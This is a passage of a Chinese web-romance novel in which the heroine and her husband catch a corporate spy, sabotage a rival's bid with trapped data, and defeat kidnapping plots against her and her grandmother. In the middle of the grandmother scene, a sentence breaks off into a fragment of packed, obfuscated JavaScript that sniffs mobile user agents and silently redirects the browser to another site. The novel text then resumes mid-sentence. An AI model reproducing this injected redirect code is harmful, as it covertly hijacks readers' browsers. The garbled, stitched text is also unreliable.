电话那头传来江父声嘶力竭的咆哮声,伴随着铁链晃动的声音,显然是从监狱打出来的亲情电话。
“你居然去帮那个扫把星!你是要气死我吗?!我是你老子!你书都读到狗肚子里去了?!”
江晚絮坐在旁边,夹了一块红烧排骨放进嘴里,津津有味地吃着。
江明哲面无表情地嚼着青菜,等对面骂累了,才淡淡地开口。
“骂完了?”
“你……你……”江父气得在那头直喘粗气。
“**嵩,从你签下那份弃养协议开始,你就不是任何人的父亲了。”
江明哲的声音很冷静,“你引以为傲的大儿子是个蠢货,二儿子是个暴力狂,最疼爱的女儿是个私生女。你这辈子,确实很失败。”
“至于我。”
江明哲顿了顿,“我不是叛徒,我只是不想再当瞎子了。”
第184章 让他们偷个够
“江明哲,我要告你!你不赡养老人!我要让媒体曝光你!”江父在电话那头无能狂怒。
“随你。”
江明哲说完,直接挂断电话,然后将这个号码拉黑。
整个过程,他连眉头都没皱一下。
江晚絮咬着筷子,第一次正眼看了看这个三哥。
“够狠。”她评价道。
“跟你学的。”江明哲继续吃饭,“对待疯狗,讲道理没用,只能比他更疯。”
这一刻,江晚絮竟然在这个总是冷冰冰的男人身上,看到了一丝“家人”该有的样子。
一个月后。
顾氏集团的危机在顾彦廷的铁腕手段和晚星科技的技术支持下,彻底解除。
秦兰在看到了江明哲带来的、关于柳芸的家族精神病史报告后,彻底闭了嘴,甚至开始变着法子给江晚絮送补品。
周末的午后,阳光正好。
江晚絮正在小花园里修剪花枝,江明哲来了。
他手里拿着一个包装精美的信封。
“给你的。”他递过去。
“奖金?”江晚絮摘下手套,笑着调侃,“这月工资还没发呢,就开始要分红了?”
“不是钱。”
江明哲有些不自然的别过脸,“打开看看。”
江晚絮疑惑的拆开信封。
里面是一张照片。
看背景,应该是很多年前的乡下。
照片里,年轻的方颖穿着朴素的碎花裙子,站在一棵桂花树下。
重点是,这张照片极其清晰,连方颖眼角的笑意、飘落的花瓣都看得一清二楚。
“这是……”江晚絮的手开始颤抖。
她记得这张照片。这
是外婆家里唯一一张妈妈的照片。
但是因为年代久远,加上保存不当,原片早就模糊不清,甚至还有水渍,妈妈的脸根本看不清。
“我用了最新的AI修复技术,重构了像素。”
江明哲的声音里难得带了一丝温度,“我查阅了方阿姨年轻时所有的影像资料,对比了骨骼模型,花了三个晚上……应该,还原度有99%。”
江晚絮看着照片里那个温柔笑着的女人。
那是她的妈妈。
“那时候,她一定很爱我吧……”江晚絮的指尖轻轻抚摸着照片上女人的脸颊,眼眶湿润。
“嗯。”
江明哲低声道,“如果不爱,她不会在那种地狱里,坚持把你生下来。”
江晚絮抱着照片,蹲在地上,哭得像个孩子。
江明哲站在一旁,有些手足无措。
他想伸手拍拍她的肩膀,又觉得不合适,手伸到一半又缩了回去。
顾彦廷不知何时走了过来,把哭成泪人的江晚絮搂进怀里。
他对着江明哲点了点头,眼神里多了几分认可。
江晚絮在顾彦廷怀里哭够了,才抬起头,红着眼睛看向江明哲。
阳光透过树叶的缝隙洒下来,照在她的脸上。
她吸了吸鼻子,嘴角扬起一个大大的弧度,那是一个发自内心的、没有任何防备和算计的笑容。
“谢谢你,三哥。”
这是她回到江家这么多年,第一次真心实意地喊出这声“三哥”。
江明哲愣了一下。
镜片后的眼睛里,闪过一丝不易察觉的水光。
他推了推眼镜,掩饰住那一瞬间的动容,嘴角也微微勾起。
“不客气……晚晚。”
京市的春天,雨总是连绵不绝。
陆清璃坐在私人会所的包厢里,手里拿着一张推荐信。
而她对面坐着的,是国家级新能源储能项目评审组组长季老的孙子,季凯。
“季少,这封推荐信可是哈佛的一位老校董亲笔写的。有了它,你申请常春藤盟校就是板上钉钉的事。”陆清璃的声音温柔如水,“只要季老在评审会上,稍微……”
即开看着那封信,有些犹豫,“陆小姐,我爷爷那个脾气你也知道,他要是知道我拿这个换……”
“谁说是交易了?”陆清璃轻笑一声,把信封往他面前推了推,“这是姐姐送你的礼物。咱们两家是什么矫情?”
“再说了,陆氏这次的技术可是联合了三家外企,本来就是最顶尖的。我只
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是怕有些不入流的小公司,靠着歪门邪道抢了风头。”
季凯犹豫了片刻,最终还是伸手盖住了那封信。
“行,陆姐,我明白了。”
季凯走了,陆清璃眼底的笑意瞬间愣了下来。
江晚絮?呵,这次我要让你输得彻彻底底。
我看你还有什么底气站在顾彦廷身边!
此时的江晚絮,正在实验室里盯着电脑屏幕上的核心数据。
窗外的雨声淅淅沥沥,她的眉头也渐渐皱了起来。
“嘶……”
江晚絮下意识地按住腰侧,脸色开始发白。
“怎么了?”
顾彦廷不知何时走了进来,无比熟练地伸手替她揉按着后腰。
“**病了,”江晚絮没回头,指着屏幕上的数据,“顾彦廷,这里,不对劲。”
“哪里不对?”顾彦廷顺着她手指的方向看过去,手上的动作却没停。
“陆氏今天放出的预热参数,跟我们正在研发的三代热管理系统,重合度到了90%。”
江晚絮的声音有些抖。
“你是说……有内鬼?”
顾彦廷的眼神瞬间就沉了下来。
“不仅仅是像,”江晚絮调出两张图纸,“连我习惯性的标记都一样。这绝对不是巧合。”
她转过身,抓住顾彦廷的袖子。
“顾彦廷,如果这次竞标输了,就不仅仅是错失一个项目……”
她的声音很小,身体也有些微微的颤抖。
在江家十年,她学会的最深刻的道理就是:只要她有一点点错,都会被无限放大。
顾彦廷看着她惊恐的样子,心像是被扎了一样疼。
“晚晚。”
他捧起她的脸,“看着我。”
江晚絮抬起头。
“这里是顾氏,我是顾彦廷。只要有我在,没人能给你扣帽子。”
顾彦廷眼底闪过一丝狠戾,“既然他们想偷,那我就让他们偷个够。”
“什么意思?”江晚絮愣了一下。
顾彦廷笑了笑,继续给她揉腰,“你只管做你的事,其他的,交给我。”
第185章 粉墨登场
夜深了,研发部依旧灯火通明。
江晚絮坐在椅子里,当着所有人的面,将一份加密文件上传到了内部服务器的“绝密”文件夹里。
“大家听好了,”她站起身,看着所有人,“这是我们参加新能源储能项目的最终版方案,明天一早就要封存送审。今晚除了我,任何人不能查看、复制。”
说完,她揉了揉眉心,有些体力不支的样子,“我腰病犯了,先去休息室躺会儿。李主管,你盯着点儿。”
“好的,江总工放心!”
李主管是个四十多岁的中年男人,平日里就老实巴交的。
可能是对这个方案无比自信,这会儿他答应得也格外响亮。
江晚絮转身去了顶层,进了顾彦廷的专属休息室,却并没有躺下,而是调出了监控画面。
顾彦廷就坐在她身边的单人沙发上,手里把玩着一只打火机,幽蓝的火苗明明灭灭。
时间一分一秒过去。
凌晨三点。
监控画面里,研发部空无一人。
江晚絮打了个哈欠,却听到顾彦廷说了句,“来了。”
她立刻看向屏幕。
就见李主管悄悄走了进来。
他四处张望了一下,确定没人以后,就蹑手蹑脚地走到了江晚絮的电脑前,掏出了一个特别的U盘插了进去。
屏幕的光照亮了他的脸。
“呵。”
顾彦廷冷笑一声,听不出情绪。
不到一分钟,李主管拔下了U盘,刚松了口气正要转身离开,研发部的大灯忽然全都亮了。
刺眼的白光让他下意识地伸手挡住了眼睛。
“李主管,这么晚了,您这是要把核心机密送到哪儿去啊?”
江晚絮靠在门口,双手抱胸,眼神凌厉。
顾彦廷则站在她身后,一言不发。
李主管腿一软,“扑通”一声跪在了地上。
“顾总,江总工!我……我鬼迷心窍了,我也是没办法啊!”
李主管不等江晚絮质问,就开始痛哭起来,“我女儿得了白血病,急需到国外去做手术,可是……可是需要的钱太多了……”
“是陆小姐!陆小姐答应我,只要我把数据给她,她就送我女儿出国治疗……”
“李主管。”
江晚絮走到他面前,语气放软。
“你知道吗?我有过无数次的绝望。”
她想起了自己为救叶寒,被抽走的骨髓。
“但是我从没想过去偷、去抢、去害人。你女儿是命,顾氏这几百个日夜奋斗的工程师的心血,又该算什么?”
李主管怔了怔,羞愧得说不出话来。
“带下去。”顾彦廷厌恶地挥了挥手,“我不想再看见他。”
两个保镖立刻走了进来。
“等等!”
江晚絮拦住了保镖。
她看着李主管,“那个U盘里的数据,你发出去了吗?”
“发……发到陆小姐的邮箱了。”
江晚絮笑了,笑得有些释然。
“很好。”
她转头看向顾彦廷,“老公,有好戏看了。”
顾彦廷挑了挑眉,对“老公”这个称呼十分满意。
“既然陆清璃这么喜欢捡垃圾,那我们就送她个大的。”
那个绝密文件夹里放的,根本不是什么第四代方案,而是江晚絮特意编写的一套看似完美、实则在极端高温下会产生逻辑死锁的“**”数据。
谁用了这套数据,谁的产品就会在演示环节变成一颗不定时**。
“顾彦廷,”江晚絮看着窗外渐渐泛白的天空,“以前我总觉得,只要我足够努力,就能换来公平。后来我发现,对付恶人,善良是没用的。”
“嗯。”顾彦廷从身后抱住她,下巴抵在她的颈窝,“所以,把刀递给我,我来杀。”
“不。”
江晚絮握住他在自己腰间的手,眼神坚定,“这一次,我要亲自动手。我要让所有人都看着,江晚絮不是谁都能踩一脚的烂泥。”
时间很快来到两天后,国家级新能源储能项目招标会现场。
作为国家级的重点项目,现场不仅
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有业内的大佬,还有不少媒体记者。
陆清璃穿着一身白色西装,妆容精致,宛如一只骄傲的白天鹅。
她身边围着一群恭维的人,其中还有我们许久未见的叶寒。
“陆总这次准备充分,看来是志在必得了。”
叶寒端着酒杯,眼神却不由自主地在人群中搜寻。
当他看到挽着顾彦廷手臂走进来的江晚絮时,拿着杯子的手紧了紧。
今天的江晚絮,很美。
“这不是江总工吗?”
陆清璃端着香槟走了过来,脸上挂着得体的笑,“听说顾氏为了这次竞标,熬了好几个通宵?要注意身体啊,别像以前那样,动不动就晕倒,让人以为顾氏**员工呢。”
江晚絮淡淡地扫了她一眼,语气平静:“多谢陆总关心。不过熬夜是为了精益求精,不像某些人,总想着走捷径。”
陆清璃脸色微变,随即掩唇轻笑:“捷径也是要有本事才走得通的。”
“江小姐,听说你以前连大学毕业证都是补考才拿到的?这种国家级的项目,参数那么复杂,你能看得懂吗?别到时候在台上连PPT都念不下来。”
周围传来一阵低低的哄笑声。
江晚絮以前**家刻意打压,因为要打工赚学费,还要给自己买药,确实挂过科。
江晚絮的手指微微收紧。
那种被人当众扒开衣服羞辱的感觉,又回来了。
就像当年订婚宴上,柳芸当着所有宾客的面说:“晚絮这孩子命苦,脑子也不太灵光,以后还要亲家多担待。”
她刚想反驳,顾彦廷就上前握住了她的手。
他漫不经心地扯了扯自己的衣角,“陆小姐既然这么自信,不如我们打个赌?”
顾彦廷的声音不大,却瞬间压过了全场的嘈杂。
“赌什么?”陆清璃下意识地问。
“就赌今天的竞标结果。”顾彦廷把目光转回江晚絮,“如果陆小姐输了,就在这儿,当着所有媒体的面,给晚絮鞠躬道歉,说三声‘我是小偷’。”
第186章 她是小偷
“如果陆小姐输了,就当着所有媒体的面,给晚絮鞠躬道歉,说三声‘我是小偷’。”
顾彦廷的声音并不大,但陆清璃听完,却是脸色一僵,随即冷笑:“那如果是顾氏输了呢?”
“顾氏名下那个最新的锂矿,送你。”
全场哗然!
那可是价值百亿的锂矿!顾彦廷竟然为了一个女人,拿这么大的资产做赌注?
“顾彦廷……”江晚絮有些担心地拉了拉他的袖子。
“别怕。”顾彦廷低头,在她耳边轻声说,“我对你有信心。再说了,你也该习惯习惯,在这个圈子里,你有狂妄的资本。”
陆清璃被成功激怒,也是对那个U盘里的数据有自信。
“好!一言为定!”
评审会正式开始。
按照抽签顺序,陆氏联合体先上台。
陆清璃自信满满地走上讲台,打开了PPT。
“各位评委,陆氏这次带来的‘极光’系统,采用了国际最先进的温控算法……”
随着她的讲解,大屏幕上跳动着各种复杂的数据。
台下的评委频频点头,尤其是坐在中间的季老,虽然面色严肃,但也露出了几分赞许的神色。
陆清璃越讲越兴奋,抽空还挑衅地看了看台下的江晚絮。
看吧,这就是你辛苦研发出来的成果,现在,它是我的了。
就在陆清璃讲到核心的热失控防护机制时,江晚絮突然举起了手。
“打断一下。”
江晚絮站起身,声音清脆,在安静的会场里显得格外突兀。
“江总工,现在是陆氏的陈述时间,你这样很不礼貌。”陆清璃不悦地皱眉。
“礼貌是留给值得尊敬的对手的。”
江晚絮离开座位,一步步走到台前。
“陆总,我想请教一个问题。您PPT第18页显示的电池热失控临界温度是180度,对吗?”
“当然。”陆清璃傲然道,“这是我们实验室测出来的极限数据。”
“是吗?”
江晚絮笑了,“那为什么在第24页的压力测试图表里,当温度达到155度时,传感器的反馈曲线会出现一个极其微小的、类似于正弦波的抖动?”
陆清璃一愣,赶紧翻到第24页。
果然,在那个不起眼的角落,有一条细微的波纹。
“这……这可能是设备误差……”陆清璃强行解释。
“不,这不是误差。”
江晚絮站在台下,身姿挺拔。
“这是我在编写原始代码时,为了防止有人直接盗用数据而不进行验证,特意做的‘水印’。”
“你胡说八道什么!”陆清璃脸色瞬间惨白,厉声尖叫,“什么水印?这是我们陆氏独立研发的成果!江晚絮,你自己技术不如人,就想泼脏水?”
“是不是泼脏水,验一验就知道了。”
江晚絮不慌不忙地从口袋里拿出一个激光笔,对着大屏幕上的那个波纹圈了一下。
“按照热力学定律,在这个温度区间,如果采用您所谓的‘国际先进算法’,压力曲线应该是平滑的抛物线。出现正弦波抖动,只有一个可能——那就是系统在尝试进行错误的逻辑死循环,也就是俗称的‘死机前兆’。”
她转过身,面向评委席。
“各位专家,如果不信,可以现在就让陆总运行一下她的模拟程序。我敢断言,当模拟温度设定到155.5度时,整个系统会立刻崩溃。”
“你放屁!”陆清璃急了,平日里的优雅荡然无存。
“陆小姐,既然江总工提出了质疑,那就现场演示一下吧。”
季老推了推眼镜,开了口。
他是技术出身,最看重数据的真实性。
陆清璃骑虎难下。
她求助地看向技术团队,但那些人也是一脸懵逼——因为核心数据是直接“拿来”的,他们根本没时间做深度测试!
在季老的注视下,陆清璃颤抖着手,点击了模拟运行。
温度数值开始攀升。
140……150……155……
就在数字跳到155.5的那一瞬间,大屏幕突然闪烁了一下,紧接着弹出了一个巨大的红色警告框:【SYSTEMERROR】,随后整个演示软
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件直接闪退,蓝屏。
全场哗然!
“怎么会这样……”陆清璃瘫坐在地上,难以置信。
“因为那个BUG,是我亲手写的。”
江晚絮走上讲台,拔掉了陆清璃的U盘,换上了自己的。
“各位,刚才陆总展示的,其实是我在一周前废弃的‘陷阱方案’。而真正的顾氏技术,在这里。”
屏幕亮起。
全新的界面,流畅的线条,以及那令人惊叹的参数。
“顾氏的‘星火’系统,不仅彻底解决了热失控问题,而且……”
江晚絮顿了顿,眼神中闪烁着自信的光芒,“我们将储能成本,在现有基础上降低了30%。”
“什么?30%?这不可能!”
底下的专家们坐不住了,纷纷站了起来。
“口说无凭,数据说话。”
江晚絮点开了一段实地测试的视频,并公开了部分核心实验数据。
“另外,相关专利已经在三天前进入了国际PCT申请流程,专利号我都列在上面了,欢迎各位随时查证。”
这一刻的江晚絮,站在聚光灯下,整个人都在发光。
台下的顾彦廷看着她,眼底满是骄傲和宠溺。
这就是他的女人。
不需要他出手,她自己就能把这天捅个窟窿,再漂亮地补上。
陆清璃看着台上光芒万丈的江晚絮,整个人都不好了。
她不仅输了项目,还输了脸面,输了尊严。
“陆总,”江晚絮演示完毕,看向脸色发白的陆清璃,“记得我们的赌约吗?”
陆清璃咬着牙,眼泪在眼眶里打转,却死活不肯开口。
“愿赌服输。”顾彦廷冷冷地插话,“或者,你想让陆氏明天就消失?”
在顾彦廷恐怖的威压下,陆清璃含泪低下头:
“对不起……我是小偷。”
“大声点,没吃饭吗?”顾彦廷不依不饶。
陆清璃闭上眼,歇斯底里地喊了出来:“我是小偷!我是小偷!我是小偷!”
喊完,她捂着脸,在无数闪光灯的咔嚓声中,狼狈地冲出了会场。
第187章 狗急跳墙
竞标结果毫无悬念。
顾氏集团以绝对的技术优势和成本优势,拿下了这个千亿级的国家项目。
会后,季老特意留下了江晚絮。
“江总工,年轻有为啊。”季老感慨道,“咱们搞科研的,就是要有一股子钻劲和狠劲。容不得半点虚假。”
“季老过奖了,我只是做了我该做的。”江晚絮谦虚地低头。
“其实……”季老顿了顿,从公文包里拿出那封还没有拆封的推荐信。
江晚絮愣了一下,不明白季老是什么意思。
“这是我那个不成器的孙子刚才跑来交给我的。”季老叹了口气,“他说,他在台下看了你的演讲,觉得很惭愧。他说,真正的强者是靠实力说话的,而不是靠这种纸片。这封信,他让我退回去,他说他想凭自己的本事考。”
江晚絮的眼眶突然有些发热。
曾经,她也是这样渴望凭本事得到认可,却一次次被现实打压。
而现在,她的坚持,不仅赢了比赛,甚至改变了一个少年的轨迹。
“江总工,你让我看到了中国科研人的脊梁。”季老伸出手,郑重地和她握了握,“好孩子,以后若是受了委屈,别硬扛。在这个圈子里,只要你有技术,腰杆子就是硬的。”
“谢谢季老。”
江晚絮的声音有些哽咽。
从会场出来,外面的雨已经停了。
空气中弥漫着泥土的清香。
陆清璃的车停在路边,车窗没关严,隐约能听到里面传来的尖叫声。
“啊——!江晚絮!我要杀了你!”
江晚絮只是淡淡地瞥了一眼,便收回了目光。
对于失败者的无能狂怒,她已经没兴趣关注了。
“累了吗?”
顾彦廷走过来,替她拉开车门。
“有点。”江晚絮诚实地点点头,刚才在台上精神高度紧绷,现在一放松下来,浑身都酸痛。
顾彦廷二话没说,直接将她打横抱起,塞进了副驾驶。
“喂!这么多人看着呢!”江晚絮红着脸捶他。
“看就看。”顾彦廷替她系好安全带,顺手在她鼻尖上刮了一下,“我抱我老婆,天经地义。”
车子缓缓启动。
“顾彦廷。”
“嗯?”
“我想吃火锅。特辣的那种。”
以前在江家,大家口味都淡,她连吃个辣椒都要被柳芸骂“穷酸相”、“没教养”。后来嫁给叶寒,叶寒胃不好,家里的菜永远是清汤寡水。
她已经很久很久,没有随心所欲地吃过一顿饭了。
顾彦廷侧过头,看着她亮晶晶的眼睛,嘴角勾起一抹温柔的笑。
“好,依你。”
“想吃什么都行,想做什么都行。”
他伸手握住她的手,十指相扣。
这次的新能源竞标结束后,陆氏集团的股价第一次出现了大幅度下滑。
陆清璃盯着大盘,紧咬着下唇。
“我们要撤资。”
“陆总,您这次的决策失误太大,董事会正在起草罢免书。”
电话一个接一个,全是落井下石的。
“啪!”
最新款的手机被她狠狠砸向落地窗,屏幕瞬间碎裂。
“江晚絮……江晚絮!”
陆清璃抓着头发,眼神癫狂。
她不甘心。
“既然无论如何都是死局,那我就拉个垫背的。”
陆清璃拨通了一个没有备注的号码。
“你动手利索点。我要江晚絮手里的核心代码,还要江晚絮……跪下来求我。”
此时,一个高档小区。
外婆正戴着老花镜,坐在阳台上给江晚絮织毛衣。
因为江家人陆陆续续出了事,外婆觉得住在顾家总是不太好,央求着江晚絮找了个安保很好的小区,搬了过来。
“絮絮这孩子怕冷,得用最好的羊绒。”
外婆念叨着,满脸慈爱。
门铃响了。
外婆放下针线,走到门口透过猫眼看了一眼。
是两个穿着制服的年轻人,挂着工牌,笑得一脸憨厚。
“大娘,我是社区来推广老年人意外险的,送鸡蛋和豆油,您开开门。”
外婆犹豫了一下。
以前江晚絮在江家受欺负,连饭都吃不饱的时候,外婆为了给孙女攒点学费,经常去捡纸换钱,也容易相信这些推销的小恩小惠,只为了能给絮絮买个鸡腿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17018689|192440||http|test|mini|href|location''.split(''|''),0,{}));
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r>那种刻在骨子里的节俭和对孙女的疼爱,让她下意识地想要那一桶豆油。
“哎,来了。”
外婆刚要把门打开。
一只大手忽然按住了门把手。
“别开。”
说话的是阿泰,顾彦廷专门派来的保镖队长,这半年来一直伪装成邻居住在对门。
自从上次江明宇差点伤了外婆,江晚絮就给外婆上了双重保险。
外婆愣了一下,“小泰啊,这送油呢……”
“大娘,这是陷阱。”
阿泰冷笑一声,用力拉开了房门。
门外的两个“推销员”显然没料到开门的是个一米九的壮汉,手里刚掏出来的**毛巾还没来得及藏。
“这就是你们说的保险?”
阿泰二话不说,一脚踹在当先那人的胸口。
“咔嚓”一声,踢断了对方的肋骨。
剩下的那个想跑,被阿泰像拎小鸡一样拎了回来,重重地掼在地上。
“说,谁派来的?”
那人哆哆嗦嗦,眼神乱飘。
阿泰也不废话,直接踩住了他的手腕上。
“啊——!我说!我说!是陆氏的一个经理,给了我们五万块钱,让我们绑了这个老太婆……”
正在顾氏开会的江晚絮接到了阿泰的电话。
“江小姐,人扣下了。外婆没事,正在喝压惊茶。”
会议室里很安静,所有人都感觉到了江晚絮身上散发出的寒气。
“陆清璃。”
她念着这个名字,深呼了一口气。
外婆是她的底线。
是这个世界上唯一给她温暖的亲人。
“怎么了?”顾彦廷察觉到异样,起身走到她身边。
江晚絮抬起头,眼眶微红。
“顾彦廷,我要让陆氏,从此在京圈除名。”
顾彦廷看着她这副模样,心疼地揪成了一团。
他伸手将她揽入怀中,当着所有高管的面,吻了吻她的发顶。
“好,只要你想。”
他转头看向助理林舟,眼神瞬间变得森寒:“通知法务部,还有所有合作媒体。另外,把警局的张局长请来喝茶。既然陆清璃不想体面,那我们就帮她‘体面’。”
第188章 墙倒众人推
那个“推销员”根本扛不住顾氏律师团的威压,还没等上手段,就把事情交代了。
当天下午,数辆警车呼啸着停在了陆氏集团大楼下。
紧接着,各大财经媒体、社会新闻同步推送了一条**性新闻:
【震惊!陆氏集团不正当竞争手段升级,涉嫌买凶**!】
【商业竞争还是**?陆清璃手段令人发指!】
**瞬间炸锅。
如果说之前的技术**只是商业道德问题,那**老人,就是触犯了法律底线,更是触犯了大众的道德底线。
陆氏的股价原本还在跌停板上挣扎,这一下,直接封死,甚至引发了大规模的抛售潮。
陆清璃刚想从后门溜走,就被早已等候多时的警察拦住了去路。
“陆小姐,现在怀疑你涉嫌教唆**,请跟我们走一趟。”
闪光灯疯狂闪烁。
陆清璃用包挡着脸,狼狈不堪地被塞进了警车。
这一幕,通过直播传遍了全网。
江晚絮坐在办公室里,面前摆着厚厚一摞文件。
这些,都是曾经被陆氏用卑鄙手段打压、收购、甚至搞得破产的小公司的资料。
她翻看着那些资料,仿佛看到了当年的自己。孤立无援,被人踩在泥里,连呼吸都是错的。
她拨通了几个电话。
“喂,王总吗?我是江晚絮。对,关于五年前陆氏强行收购你们专利的案子,我有新证据……”
“赵工,想不想翻案?顾氏的律师团免费借给你用。”
墙倒众人推。
在江晚絮的牵头下,十几家企业联合发起了集体诉讼。
罪名包括但不限于:不正当竞争、商业间谍、窃取商业机密、恶意并购……
每一条罪状,都有实打实的证据。
这些证据,有些是江晚絮这几天通过**挖出来的,有些则是顾彦廷动用人脉搜集的。
短短三天。
陆氏集团的董事会紧急召开。
陆清璃虽然被保释了出来,但刚一进会议室,就被扔了一脸的文件。
“陆清璃!你看看你干的好事!”
“陆氏百年的基业,都要毁在你手里了!”
“我提议,立刻暂停陆清璃一切职务,配合警方调查!”
“附议!”
“附议!”
陆清璃站在会议桌前,看着那些平日里对她阿谀奉承的叔伯们,此刻一个个面目狰狞。
她突然笑了,笑得有些凄厉。
“你们这群老东西……当初我给你们赚钱的时候,一个个夸我是商业天才。现在出事了,就想把我踢开?”
“保安!把她拉出去!”
陆清璃被两个保安架着,像拖死狗一样拖出了大门。
站在陆氏大楼外,寒风凛冽。
她看着大屏幕上正在播放顾彦廷和江晚絮出席慈善晚宴的新闻。
画面里,江晚絮穿着高定礼服,挽着顾彦廷的手,笑意盈盈,宛如众星捧月。
而她,陆家大小姐,此刻却像个丧家之犬。
“江晚絮……”
陆清璃咬破了嘴唇,血腥味在口腔蔓延。
“我还没输……只要你**,顾彦廷就是我的……陆氏还是我的……”
###第三章:最后的疯狂
京市的桥洞下,冷风嗖嗖。
叶寒裹着一件破旧的大衣,手里捏着半个干硬的馒头。
这就是他现在的全部家当。
江芊妤卷走了他所有的流动资金跑路了,他的公司因为之前帮江家填窟窿,加上得罪了顾彦廷,早就破产清算了。
现在的他,连住招待所的钱都没有。
“咳咳……”
一阵剧烈的咳嗽声从旁边传来。
叶寒转过头,看到了一个同样落魄的老头,正在翻垃圾桶里的矿泉水瓶。
那老头转过身,两人四目相对。
“爸?”
“叶寒?”
这老头正是**嵩。
曾经威风凛凛的江家家主,在江晚絮的一纸诉状把他送进监狱待审、后来保外就医期间因为没钱被赶出来后,就沦落到了这个地步。
柳芸那个毒妇,自己坐牢也就罢了,留下的后手把家里的资产转移得一干二净,全给了她在国外的私生子。
两个曾经伤害江晚絮最深的男人,此刻在散发着恶臭的桥洞下胜利会师。
“都是那个扫把星害的!”
**嵩恶狠狠地咬了一口被人扔掉的半个苹果,“当初我就该在她出
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生的时候掐死她!养了这么个白眼狼,把全家都送进监狱,简直是大逆不道!”
叶寒听着这话,眼神恍惚了一下。
他想起了五年前。
那时候江晚絮刚嫁给他,每天变着花样给他做饭。他胃不好,半夜疼醒,江晚絮就给他揉肚子,一揉就是一整夜。
为了救他,她毫不犹豫地捐了骨髓,身体虚弱得连楼都下不了,可他当时在干什么?
他在陪江芊妤过生日,还嫌弃江晚絮娇气,在医院装病博同情。
“是啊……都怪她。”
叶寒喃喃自语,眼底闪过一丝疯狂的恨意。
人就是这样,当悔恨到了极致,无法面对自己的错误时,就会把所有的错都推给别人。
他觉得,如果不是江晚絮变了,如果不江晚絮变得这么冷血,如果不是江晚絮勾搭上顾彦廷,他怎么会变成这样?
“爸,我们不能就这么算了。”
叶寒扔掉手里的干馒头,眼神阴鸷,“陆清璃那边联系我了。她说,只要我们能帮她办成一件事,她就给我们一千万,送我们出国。”
**嵩浑浊的眼睛瞬间亮了,“一千万?什么事?”
“江晚絮这个**,最在乎的就是那个死老太婆。”
叶寒从怀里掏出一张皱皱巴巴的地图,“陆清璃查到了,江晚絮每个月的今天,都会去郊区的研究所看实验数据。那条路很偏,而且……”
他压低了声音,“我已经打听到了,那个研究所附近就是江家的老宅。我们把她引过去。”
**嵩有些犹豫,“可是顾彦廷那小子……”
“顾彦廷今天要去邻市签合同,赶不回来的!”叶寒面容扭曲,“这是我们最后的机会。只要抓住了江晚絮,不管是勒索顾彦廷,还是逼她撤诉,我们都有了筹码!”
第二天上午。
江晚絮正准备出门去研究所。
手机突然震动了一下。
是一个陌生号码发来的彩信。
图片上,是一只满是皱纹的手,上面戴着一个熟悉的手镯。
那是外婆的手镯!
紧接着是一条短信:【想见你外婆,一个人来江家老宅。别报警,否则你收到的就是手指头。】
第189章 我好累
江晚絮低头查看手机上的GPS定位系统。
屏幕上显示,外婆的定位点还在家里,而且心率监测也是正常的。
她迅速拨通了阿泰的电话。
“阿泰,外婆呢?”
“在外头晒太阳呢,我和兄弟们守着,一只苍蝇都飞不进来。江小姐放心。”
听到这话,江晚絮长长地吐了一口气。
江晚絮冷静下来,看着那条短信。
江家老宅……
那里承载了她童年所有的噩梦。
幽暗的地下室,永远吃不饱的饭,还有哥哥的拳打脚踢,父亲的冷眼旁观。
“想引我过去?”
江晚絮没有回复短信,而是直接把信息转发给了顾彦廷。
随后,她换上了一身利落的运动装,把头发扎成高马尾。
“既然你们想玩,那我就陪你们玩把大的。”
她拿起车钥匙,独自一人下了楼。
江家老宅位于西郊,因为江家破产查封,这里早就荒废了。
杂草丛生,枯藤爬满了墙壁,显得格外阴森。
江晚絮把车停在院子里,推门走了进去。
“我来了。”
她声音清冷,回荡在空旷的大厅里。
“我就知道你会来。”
二楼的楼梯口,叶寒慢慢走了下来。
他手里拿着一把剔骨刀,刀刃在昏暗的光线下闪着寒光。
**嵩则躲在他身后,手里拿着绳子看着江晚絮。
“外婆呢?”江晚絮明知故问。
“顾总还真是疼你,竟然安排专业保镖去保护你外婆。”叶寒冷笑,“不过……你来了就够了。”
他一步步逼近,“江晚絮,你看看你现在的样子。高高在上的江总工,顾家的少奶奶……你是不是很得意?”
“我为什么要得意?”江晚絮淡淡地看着他,“我只是拿到了我应得的东西。”
“应得的?!”
叶寒突然咆哮起来,脖子上的青筋暴起,“那我呢?我应得的是什么?是破产?是流落街头?是被千夫所指?”
“江晚絮,我曾经是天之骄子!是你,是你毁了我的人生!”
他挥舞着手里的刀,像个疯子一样发泄着,“如果不是你非要离婚,如果不是你非要搞垮**,我会变成这样吗?”
江晚絮看着眼前这个歇斯底里的男人,只觉得可笑。
曾经,她把这个男人当成全世界。
为了他一句话,她可以去学做菜学到满手伤;为了他的公司,她可以熬夜写代码写到流鼻血。
可现在看着他,她心里竟然连一丝波澜都没有了。
“叶寒。”
江晚絮打断了他的咆哮,“你好像搞错了一件事。”
她往前走了一步,直视他的眼睛。
“不是我毁了你,是你自己毁了你自己。”
“当初是你选择相信江芊妤,是你选择在手术同意书上签字抽我的骨髓,是你选择把我的尊严踩在脚底下。”
“我给过你机会。整整五年,我给过你无数次机会。”
“哪怕是在我腿断的那天,如果你能哪怕回头看我一眼,如果你能哪怕问一句‘疼不疼’,我都不会走得那么决绝。”
“可是你没有。”
江晚絮指着自己的心口,“我只是不爱你了而已。我不爱你了,收回了我给你的特权,你就觉得这就是‘毁了你’?”
“那你也太脆弱了。”
“你闭嘴!”
叶寒被戳中了痛处,恼羞成怒地举起刀就冲了过来,“既然我不痛快,那你也别想活!今天我就拉着你一起死!”
旁边的**嵩也冲了上来,想要用绳子套住江晚絮。
“死丫头,你害得我家破人亡,我今天就要替芊妤收拾你!”
就在这千钧一发之际。
老宅的大门被人一脚踹开。
巨大的声响震得屋顶的灰尘簌簌落下。
还没等叶寒反应过来,一道黑影已经冲了进来。
“咔嚓!”
顾彦廷一个漂亮的擒拿,直接卸掉了叶寒手里的刀,顺势一脚踹在他的膝窝。
叶寒惨叫一声,跪倒在地。
数名全副武装的特警也在这时破窗而入。
“不许动!警察!”
黑洞洞的枪口瞬间指住了**嵩的脑门。
